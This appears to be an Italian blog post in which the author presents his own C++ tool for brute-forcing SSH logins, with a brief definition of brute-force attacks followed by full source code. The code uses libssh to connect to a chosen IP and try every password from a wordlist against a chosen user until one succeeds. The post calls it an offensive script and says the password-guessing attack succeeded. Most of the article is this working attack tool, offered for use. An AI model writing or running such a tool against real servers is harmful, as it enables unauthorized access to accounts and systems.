Forza bruta SSH con C++
introduzione
Benvenuti nel mio nuovo articolo, oggi vi mostrerò il mio script C++ per eseguire SSH Brute Force Attacks.
Che cos'è la forza bruta?
Informazioni di:
Un attacco di forza bruta è un metodo di hacking che utilizza tentativi ed errori per decifrare password, credenziali di accesso e chiavi di crittografia. È una tattica semplice ma affidabile per ottenere l'accesso non autorizzato ai singoli account e ai sistemi e alle reti delle organizzazioni. L'hacker prova più nomi utente e password, spesso utilizzando un computer per testare un'ampia gamma di combinazioni, finché non trova le informazioni di accesso corrette.
Il nome "forza bruta" deriva dagli aggressori che utilizzano tentativi eccessivamente energici per ottenere l'accesso agli account utente. Nonostante sia un vecchio metodo di attacco informatico, gli attacchi di forza bruta sono provati e testati e rimangono una tattica popolare tra gli hacker.
In questo articolo precedentemente pubblicato, ho fornito una breve panoramica di Hydra e di come funziona per il bruteforcing SSH:
Idra - Forza bruta
Codice
Questo è un buon momento per vedere il codice che ho usato per attaccare i server SSH con C++. Di seguito è riportato uno snippet del file di classe per questo PoC:
#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"
using namespace std;
class SSHHost{
public:
string ip;
string user;
SSHHost(string ip,string user){
this->ip = ip;
this->user = user;
}
ssh_session SSHConnection(string ip, string user){
yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
if (rc != SSH_OK){
red("\nServer connection unsuccesfull\n");
cout<<"Error: "<<ssh_get_error(session) << endl;
}
else if(rc == 0){
green("\nServer connection succesfull\n");
return session;
}
}
int SSHAuth(ssh_session session,string user,string password){
// Authentication
int rc;
rc = ssh_userauth_password(session, user.c_str(), password.c_str());
if (rc != SSH_AUTH_SUCCESS){
}
else if (rc == SSH_AUTH_SUCCESS) {
green("Authentication Completed with password: ");
cout<<password<<"\n";
}
return rc;
}
};
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;
int main(){
ssh_session session;
int check;
string ip;
string user;
string file;
cout<<"Put the user to attack: ";
cin>>user;
cout<<"Put the IP of SSH Server to attack: ";
cin>>ip;
cout<<"Put the Path of Wordlist File: ";
cin>>file;
vector<string> passwords = readPasswordsFromFile(file);
SSHHost ssh_host(ip,user);
session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
for (int i = 0; i < passwords.size(); i++) {
cout<<passwords[i]<<"\n";
}
for (int i = 0; i < passwords.size(); i++) {
check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
if(check == SSH_AUTH_SUCCESS){
ssh_disconnect(session);
break;
}}
return 0;
}
Il file principale richiede informazioni sull'utente e l'indirizzo IP da attaccare, quindi esegue altre funzioni.
Le altre funzioni si trovano nel file di classe SSHHost e hanno due attributi, utente e IP.
Quindi avere un metodo di costruzione, metodi SSHConnection e SSHAuth . SSHConnection restituisce una sessione che utilizzava SSHAuth.
PoC
Esegui lo script e rispondi alle richieste dell'utente di conseguenza:
I passaggi inclusi in questo metodo di attacco sono molto facili da replicare ed è un valido metodo di attacco nel moderno mondo informatico.
L'output sopra mostra una password scoperta, che indica un attacco di forza bruta riuscito...
Conclusioni
Questo è uno dei miei primi script offensivi che utilizzano Classi e Oggetti. Grazie per aver letto il mio articolo. Spero ti sia piaciuto il contenuto!
S12.

![Che cos'è un elenco collegato, comunque? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































